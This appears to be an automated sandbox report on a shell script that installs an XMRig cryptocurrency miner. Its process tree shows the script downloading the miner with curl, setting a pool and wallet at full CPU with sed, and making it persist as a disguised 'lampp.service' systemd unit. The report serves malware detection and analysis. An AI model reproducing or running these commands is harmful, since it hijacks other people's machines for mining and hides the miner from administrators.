Analysis

  • max time kernel
    1s
  • max time network
    1050s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    01-07-2024 11:50

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1568
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1571
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1572
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1575
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1576
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
            • Reads runtime system information
            PID:1583
          • /usr/bin/tar
            tar xf /tmp/xmrig.tar.gz -C /root/lampp
            2⤵
              PID:1584
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1585
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1585
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1585
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1585
                    • /usr/bin/rm
                      2⤵
                        PID:1586
                      • /usr/bin/sed
                        2⤵
                          PID:1587
                        • /root/lampp/xmrig
                          /root/lampp/xmrig --help
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1588
                        • /usr/bin/sed
                          sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                          2⤵
                            PID:1598
                          • /usr/bin/cut
                            cut -f1 -d.
                            2⤵
                              PID:1597
                            • /usr/bin/hostname
                              hostname
                              2⤵
                                PID:1595
                              • /usr/bin/sed
                                sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                2⤵
                                  PID:1600
                                • /usr/bin/sed
                                  sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1601
                                  • /usr/bin/sed
                                    sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2204-amd64-20240611-en-7\",/" /root/lampp/config.json
                                    2⤵
                                      PID:1602
                                    • /usr/bin/sed
                                      sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:1603
                                      • /usr/bin/sed
                                        sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                        2⤵
                                        • Reads runtime system information
                                        PID:1604
                                      • /usr/bin/sed
                                        sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                        2⤵
                                          PID:1605
                                        • /usr/bin/sed
                                          sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                          2⤵
                                            PID:1606
                                          • /usr/bin/cp
                                            cp /root/lampp/config.json /root/lampp/config_background.json
                                            2⤵
                                              PID:1607
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                                PID:1608
                                              • /usr/bin/cat
                                                cat
                                                2⤵
                                                  PID:1609
                                                • /usr/bin/chmod
                                                  chmod +x /root/lampp/miner.sh
                                                  2⤵
                                                    PID:1610
                                                  • /usr/bin/sudo
                                                    sudo -n true
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1611
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:1612
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                        PID:1615
                                                      • /usr/bin/grep
                                                        grep MemTotal /proc/meminfo
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1614
                                                      • /usr/bin/cat
                                                        cat
                                                        2⤵
                                                          PID:1616
                                                        • /usr/bin/sudo
                                                          sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1617
                                                          • /usr/bin/mv
                                                            mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            3⤵
                                                              PID:1618
                                                          • /usr/bin/sudo
                                                            sudo killall xmrig
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1619
                                                            • /usr/bin/killall
                                                              killall xmrig
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1620
                                                          • /usr/bin/sudo
                                                            sudo systemctl daemon-reload
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1621
                                                            • /usr/bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                                PID:1622
                                                            • /usr/bin/sudo
                                                              sudo systemctl enable lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1656
                                                              • /usr/bin/systemctl
                                                                systemctl enable lampp.service
                                                                3⤵
                                                                  PID:1657
                                                              • /usr/bin/sudo
                                                                sudo systemctl start lampp.service
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:1693
                                                                • /usr/bin/systemctl
                                                                  systemctl start lampp.service
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:1694

                                                            Network

                                                            MITRE ATT&CK Matrix ATT&CK v13

                                                            Defense Evasion

                                                            Virtualization/Sandbox Evasion

                                                            2
                                                            T1497

                                                            Discovery

                                                            Virtualization/Sandbox Evasion

                                                            2
                                                            T1497

                                                            System Information Discovery

                                                            3
                                                            T1082

                                                            Command and Control

                                                            Web Service

                                                            1
                                                            T1102

                                                            Replay Monitor

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                                                            Downloads

                                                            • /root/lampp/config.json
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              f3294129e6b76283965ad86a815bf383

                                                              SHA1

                                                              5fe0ab538f86962efe82cb13fc2da745610740af

                                                              SHA256

                                                              578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                              SHA512

                                                              07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                            • /root/lampp/miner.sh
                                                              Filesize

                                                              253B

                                                              MD5

                                                              f96a321a262287ceae164f23f232ed9c

                                                              SHA1

                                                              d1eeab41f244b42377afd7cc3de7428736162b24

                                                              SHA256

                                                              f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                              SHA512

                                                              75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                            • /root/lampp/sed9lll2e
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              e9efa24b727305424fcc916f222e16b4

                                                              SHA1

                                                              96287cd0d6f1f79b73a594ab861c52369e5456c4

                                                              SHA256

                                                              0148d37e22e77fdbb7d0f681f7624b6fb873f21125d3b2fa881adc1b79a30021

                                                              SHA512

                                                              e040b0a1115fb4efa9af980bb4b24097ab4208413a387f1db6b0b0ac3e3b1c7fe933c011ac2e6aa758afbae0b42a4e040a111d76ac96b847a31a0b0267a2f84a

                                                            • /root/lampp/sedF6IeOu
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              db0c10ccef0c91f27a8bf115fe98cdea

                                                              SHA1

                                                              c8381c6bb2efdbfb41c7cdc6c91dbeeefc75007e

                                                              SHA256

                                                              2faad67df6be8fa77ccc64f2bf46aa21355ddb968d2f8ca8a3c170ca6a2e2305

                                                              SHA512

                                                              0ce0f8492aa1c7be9a6e26b2b75768f0adab603d61352193588ccd161bb1b3d6063ee9b0674bccdd37b6d7899caf9ea2194ddc65464bf2a2a3f1f84b1b15983a

                                                            • /root/lampp/sedH8GPsw
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              212b65b3391fbcd54829374c43a05c05

                                                              SHA1

                                                              042b9c42a3a61256f8fb94e62d1332db380717b1

                                                              SHA256

                                                              2aef56be05b108ed2f348f133ff258802c3594ac2469445d66b316d684bfd301

                                                              SHA512

                                                              5800780874665ad561218b77204c8ce4fa3d6fde85b3b9acc8734562f2ec14fafaf6fb47f1d2671d0b87bb869e2edde1b1bc139df251747249e671c31dedba76

                                                            • /root/lampp/sedKvhEG1
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              11d8d4bf34a47f55e89528c0f74f4c66

                                                              SHA1

                                                              e8fd98dd2f88964d3a4172580b5a673139ebf3cb

                                                              SHA256

                                                              fc9c7fafc8304cdea3a41bce3122657112798ee23e157a73afcefde51ef58ae9

                                                              SHA512

                                                              535714f8c8b0677a0a223f774226e1f85e1f885bca5034f499dc72f2d1ad6d9ade7d0dd8a1c8d0fa020e76d349ba21e9a7dcb34c5a243f14b63eb7c99774dcd4

                                                            • /root/lampp/sedXGgKjl
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              d489ddbbb83271e967b8af615d17d3c7

                                                              SHA1

                                                              f0394a367a60e9727269882154098dec802774ef

                                                              SHA256

                                                              5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                              SHA512

                                                              aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                            • /root/lampp/sedz14i5V
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              8b11b027dd187104473ee7d661ffe25f

                                                              SHA1

                                                              ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                              SHA256

                                                              984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                              SHA512

                                                              1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                            • /root/lampp/xmrig
                                                              Filesize

                                                              8.4MB

                                                              MD5

                                                              46850073fd94efe6ee9fad578369e42d

                                                              SHA1

                                                              ded50dd01dbe3bb625a0b368afb3cf32dc54f3fb

                                                              SHA256

                                                              aad2b603330554b77d84176737294ce16c95e74c2101e18171d1d3299e60f6fe

                                                              SHA512

                                                              4bf3f49322d9e1bd7258cef752ab4eb0d957165466d49a42ded3b4565317644f5e10e91f8e1fb0466e958428c6be1c6a335f76b28e39ca602d4feaa6b8c25c16

                                                            • /tmp/lampp.service
                                                              Filesize

                                                              177B

                                                              MD5

                                                              540c899b78585827e807a62f7345eaf5

                                                              SHA1

                                                              8bf3146889c6b15811f226bff9fbca24d184eff2

                                                              SHA256

                                                              b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                              SHA512

                                                              0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                            • /tmp/xmrig.tar.gz
                                                              Filesize

                                                              3.4MB

                                                              MD5

                                                              e003a3ec8bdd61151a61cadf950502c4

                                                              SHA1

                                                              2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                              SHA256

                                                              80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                              SHA512

                                                              ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9